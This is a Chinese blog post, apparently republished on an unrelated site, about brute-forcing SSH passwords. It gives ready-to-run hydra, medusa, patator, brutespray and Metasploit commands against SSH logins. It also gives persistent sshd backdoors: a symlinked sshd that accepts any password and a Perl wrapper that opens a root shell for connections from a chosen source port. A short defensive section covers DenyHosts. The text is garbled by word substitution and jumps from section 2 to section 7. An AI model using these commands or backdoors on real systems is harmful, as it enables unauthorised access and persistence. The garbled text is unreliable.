Linux SSH暗码暴力破解技能及***实战51CTO博客 - 众发娱乐

Linux SSH暗码暴力破解技能及***实战51CTO博客

2019-01-03 10:40:30 | 作者: 运凡 | 标签: 暗码,暴力破解,破解 | 浏览: 330

关于 Linux 操作系统来说,一般经过 VNC、Teamviewer 和 SSH 等东西来进行长途办理,SSH 是 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所拟定;SSH  为树立在运用层基础上的安全协议。


SSH 是现在较牢靠,专为长途登录会话和其他网络效劳供给安全性的协议。运用 SSH 协议能够有用避免长途办理过程中的信息走漏问题。SSH 客户端适用于多种渠道,简直一切 UNIX 渠道—包括 HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他渠道都可运转 SSH。Kali Linux ***测验渠道默许装备 SSH 效劳。SSH 进行效劳器长途办理,只是需求知道效劳器的IP地址、端口、办理账号和暗码,即可进行效劳器的办理,网络安全遵从木桶原理,只需经过 SSH 扯开一个口儿,对***人员来时这将是一个新的国际。


本文对现在盛行的 SSH 暗码暴力破解东西进行实战研讨、剖析和总结,对******测验和安全防护具有必定的参考价值。


一、SSH暗码暴力破解运用场景和思路  


1. 运用场景

(1)经过 Structs 等长途指令履行获取了 root 权限。

(2)经过 webshell 提权获取了 root 权限

(3)经过本地文件包括缝隙,能够读取 linux 本地一切文件。

(4)获取了网络进口权限,能够对内网计算机进行拜访。

(5)外网敞开了 SSH 端口(默许或许修正了端口),能够进行SSH拜访。


在前面的这些场景中,能够获取 shadow 文件,对其进行暴力破解,以获取这些账号的暗码,但在别的的一些场景中,无任何缝隙可用,这个时分就需求对 SSH 账号进行暴力破解。


2. 思路

(1)对 root 账号进行暴力破解

(2)运用我国名字 top1000 作为用户名进行暴力破解

(3)运用 top 10000 password 字典进行暗码破解

(4)运用把握信息进行社工信息收拾并生成字典暴力破解

(5)信息的综合运用以及循环运用



二、运用 hydra 暴力破解 SSH 暗码

hydra 是国际尖端暗码暴力暗码破解东西,支撑简直一切协议的在线暗码破解,功能强壮,其暗码能否被破解要害取决于破解字典是否满足强壮。在网络安全***过程中是一款必备的测验东西,合作社工库进行社会工程学***,有时会取得意想不到的作用。


1. 简介

hydra 是闻名***安排thc的一款开源的暴力暗码破解东西,能够在线破解多种暗码,现在现已被Backtrack和kali等***渠道录入,除了指令行下的hydra外,还供给了hydragtk版别(有图形界面的hydra),官网网站:http://www.thc.org/thc-hydra  ,现在最新版别为7.6下载地址:http://www.thc.org/releases/hydra-7.6.tar.gz  ,它可支撑AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, uHTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP 等类型暗码。


2. 装置

(1)Debian 和 Ubuntu 装置

    假如是 Debian 和 Ubuntu 发行版,源里自带 hydra,直接用 apt-get 在线装置:

sudo apt-get install libssl-dev libssh-devlibidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-devfirebird2.1-dev libncp-dev hydra

    

  Redhat/Fedora 发行版的下载源码包编译装置,先装置相关依靠包:

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel


(2)centos 装置

# tar zxvf hydra-7.6-src.tar.gz
# cd hydra-6.0-src
# ./configure
# make
# make install


3. 运用 hydra

BT5 和 kali 都默许装置了 hydra,在 kali 中单击“kali Linux”-“Password Attacks”-“Online Attacks”-“hydra”即可翻开 hydra。在 centos 终端中输入指令 /usr/local/bin/hydra 即可翻开该暴力破解东西,除此之外还能够经过 hydra-wizard.sh 指令进行导游式设置进行暗码破解,如图1所示。


16.png

图16:运用 msf 暴力破解 ssh 暗码



七、ssh 后门


1. 软衔接后门

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=33223;


经典后门运用 ssh root@x.x.x.x -p 33223 直接对 sshd 树立软衔接,之后用恣意暗码登录即可。

但这隐蔽性很弱,一般的 rookit hunter 这类的防护脚本可扫描到。


2. SSH Server wrapper 后门

(1)仿制 sshd 到 bin 目录

cd /usr/sbin
mv sshd ../bin


(2)修正 sshd

vi sshd //参加以下内容并保存
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;


(4)修正权限

chmod 755 sshd


(5)运用 socat

socat STDIO TCP4:target_ip:22,sourceport=19526


假如没有装置 socat 需求进行装置并编译

wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz
tar -zxvf socat-1.7.3.2.tar.gz
cd socat-1.7.3.2
./configure
make
make install


(6)运用 ssh root@ target_ip 即可免暗码登录


3. ssh 公钥免密

   将本地计算机生成公私钥,将公钥文件仿制到需求衔接的效劳器上的 ~/.ssh/authorized_keys 文件,并设置相应的权限,即可免暗码登录效劳器。

chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh


八、ssh 暴力破解指令总结及剖析


1. 一切东西的比较

  经过对 hydra、medusa、patator、brutepray 以及 msf 下的 ssh 暴力破解测验,总结如下:

(1)每款软件都能成功对 ssh 账号以及暗码进行破解。

(2)patator 和 brutepray 是经过 python 言语编写,但 brutepray 需求 medusa 合作支撑。

(3)hydra 和 medusa 是根据 C 言语编写的,需求进行编译。

(4)brutepray 根据 nmap 扫描成果来进行暴力破解,在对内网扫描后进行暴力破解作用好。

(5)patator 根据 python,速度快,兼容性好,能够在 windows 或许 linux 下稍作装备即可运用。

(6)假如具有 kali 条件或许 PentestBox 下,运用 msf 进行 ssh 暴力破解也不错。

(7)brutepray 会主动生成破解成功日志文件 /brutespray-output/ssh-success.txt;hydra 加参数“-o save.log”记载破解成功到日志文件save.log,medusa加“-O ssh.log”参数能够将成功破解的记载记载到ssh.log文件中;patator能够加参数“-x ignore:mesg='Authentication failed.'”来疏忽破解失利的测验,而只是显现成功的破解。


2. 指令总结

(1)hydra 破解 ssh 暗码

hydra -l root  -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh
hydra -l root  -P pwd2.dic -t 1 -vV -e ns  -o save.log  192.168.44.139  ssh


(2)medusa 破解 ssh 暗码

medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt
medusa -M ssh -h 192.168.157.131 -u root -P /root/newpass.txt -e ns –F


(3)patator 破解 ssh 暗码

./patator.py ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authentication failed.'
./patator.py ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authentication failed.'

假如不是本地装置,则运用 patator 履行即可。


(4)brutespray 暴力破解 ssh 暗码

nmap -A -p 22 -v 192.168.17.0/24 -oX 22.xml
python brutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5


(5)msf 暴力破解 ssh 暗码

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.17.147
set PASS_FILE /root/pass.txt
set USER_FILE /root/user.txt
run


九、SSH暴力破解安全防备

1. 修正/etc/ssh/sshd_config默许端口为其它端口。例如设置端口为2232,则port=2232

2. 在/etc/hosts.allow中设置答应的IP拜访,例如sshd:192.168.17.144:allow

3. 运用DenyHosts软件来设置,其下载地址:

https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download

(1)装置cd DenyHosts

# tar -zxvf DenyHosts-2.6.tar.gz
# cd DenyHosts-2.6
# python setup.py install


默许是装置到/usr/share/denyhosts目录的。


(2)装备cd DenyHosts

# cd /usr/share/denyhosts/
# cp denyhosts.cfg-dist denyhosts.cfg
# vi denyhosts.cfg
PURGE_DENY = 50m #过多久后铲除已阻挠IP
HOSTS_DENY = /etc/hosts.deny #将阻挠IP写入到hosts.deny
BLOCK_SERVICE = sshd #阻挠效劳名
DENY_THRESHOLD_INVALID = 1 #答应无效用户登录失利的次数
DENY_THRESHOLD_VALID = 10 #答应普通用户登录失利的次数
DENY_THRESHOLD_ROOT = 5 #答应root登录失利的次数
WORK_DIR = /usr/local/share/denyhosts/data #将deny的host或ip纪录到Work_dir中
DENY_THRESHOLD_RESTRICTED = 1 #设定 deny host 写入到该资料夹
LOCK_FILE = /var/lock/subsys/denyhosts #将DenyHOts发动的pid纪录到LOCK_FILE中,已保证效劳正确发动,避免一起发动多个效劳。
HOSTNAME_LOOKUP=NO #是否做域名反解
ADMIN_EMAIL = #设置办理员邮件地址
DAEMON_LOG = /var/log/denyhosts #自己的日志文件
DAEMON_PURGE = 10m #该项与PURGE_DENY 设置成相同,也是铲除hosts.deniedssh 用户的时刻。


(3)设置发动脚本

# cp daemon-control-dist daemon-control
# chown root daemon-control
# chmod 700 daemon-control
完了之后履行daemon-contron start就能够了。
# ./daemon-control start


假如要使DenyHosts每次重起后主动发动还需做如下设置:

# ln -s /usr/share/denyhosts/daemon-control /etc/init.d/denyhosts
# chkconfig --add denyhosts
# chkconfig denyhosts on
# service denyhosts start


能够看看/etc/hosts.deny内是否有制止的IP,有的话阐明现已成功了。


版权声明
本文来源于网络,版权归原作者所有,其内容与观点不代表众发娱乐立场。转载文章仅为传播更有价值的信息,如采编人员采编有误或者版权原因,请与我们联系,我们核实后立即修改或删除。

猜您喜欢的文章